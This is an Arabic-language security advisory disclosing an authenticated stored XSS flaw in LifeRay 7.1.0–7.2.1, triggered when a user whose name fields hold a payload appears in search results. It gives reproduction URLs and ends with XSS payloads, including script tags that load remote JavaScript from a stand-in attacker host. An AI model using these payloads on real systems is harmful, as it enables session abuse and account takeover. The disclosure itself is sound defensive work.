
ثغرة XSS مخزّن مع مصادقة في LifeRay 7.2.0 GA1 عبر MyAccountPortlet يتم تنفيذه بواسطة نتائج البحث
في إصدارات LifeRay من 7.1.0 إلى 7.2.1 GA2، تكون حقول الاسم الأول والاسم الأوسط واسم العائلة لحسابات المستخدمين جميعها عرضة لمشكلة XSS مخزنة. يمكن لأي مستخدم تعديل هذه الحقول بحمولة XSS معينة، ويتم تخزينها في قاعدة البيانات "مُصيبة" المستخدم. سيتم عرض الحمولة بعد ذلك عندما يستخدم مستخدم ميزة البحث للبحث عن مستخدمين آخرين. إذا تم عرض المستخدم المُصاب كنتيجة بحث، فسيتم تنفيذ حمولة XSS.
تسمح هذه الثغرة للمهاجم بتنفيذ كود عشوائي في سياق أي مستخدم يُشغِّل حمولة XSS عبر البحث. من الناحية العملية، يمكن أن يؤدي ذلك إلى تصعيد الامتيازات من مستخدم غير مُصرَّح له إلى مستخدم إداري، وكذلك الحركة الجانبية في السيطرة على حسابات أخرى. بالإضافة إلى ذلك، يمكن استغلال أي شيء يمكن تنفيذه عبر جافا سكريبت في سياق مستخدم آخر.
كما سترى في برهان المفهوم (PoC)، فإن هذا الأمر مفتوح على مصراعيه حيث يستطيع المهاجم تحميل نصوص خارجية بسهولة في السياق الافتراضي.
معظم ملفات تعريف الارتباط الجلسة الهامة مُعلَّمة بـ HTTPOnly مما يمنع تقنيات اختطاف الجلسة البسيطة. ومع ذلك، تجدر الإشارة إلى أن المستخدمين الذين يشاهدون الصفحة بمتصفحات أقدم يتأثرون أكثر بهذه الثغرة بفضل هجمات XST.
نظرًا لأن المستخدمين الإداريين يمكنهم تنفيذ أوامر Gogo Shell و Groovy Script، فقد يكون من الممكن أيضًا ربط هذا الاستغلال بهذه الميزات المقصودة عادةً للحصول على RCE غير مقصود على النظام المضيف بدءًا من مستخدم غير مُصرَّح له.
لكي يتم تشغيل هذه الثغرة، يجب توفر شرطين:
بمجرد توفر هذه الشروط، يمكن ملاحظة الخطوات التالية لاستغلال الثغرة:
إعدادات الحساب
إعدادات الحسابhttp://mysite.com/user/hacker/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPortlet&p_p_lifecycle=0&p_p_auth=??????حفظhttp://mysite.com/user/hacker/home/-/my_sites/sites/available-sites?_com_liferay_site_my_sites_web_portlet_MySitesPortlet_displayStyle=descriptive وانقر على أيقونة "النقاط الثلاث" على الجانب الأيمن واختر انضمام.http://mysite.com/web/guest/search?q=<my user>
<<SCRIPT>alert("XSS");//<</SCRIPT><SCRIPT SRC="//attacker.site/payload.js"><SCRIPT SRC="//xss.rocks/xss.js"/>إصدار التقرير 4.0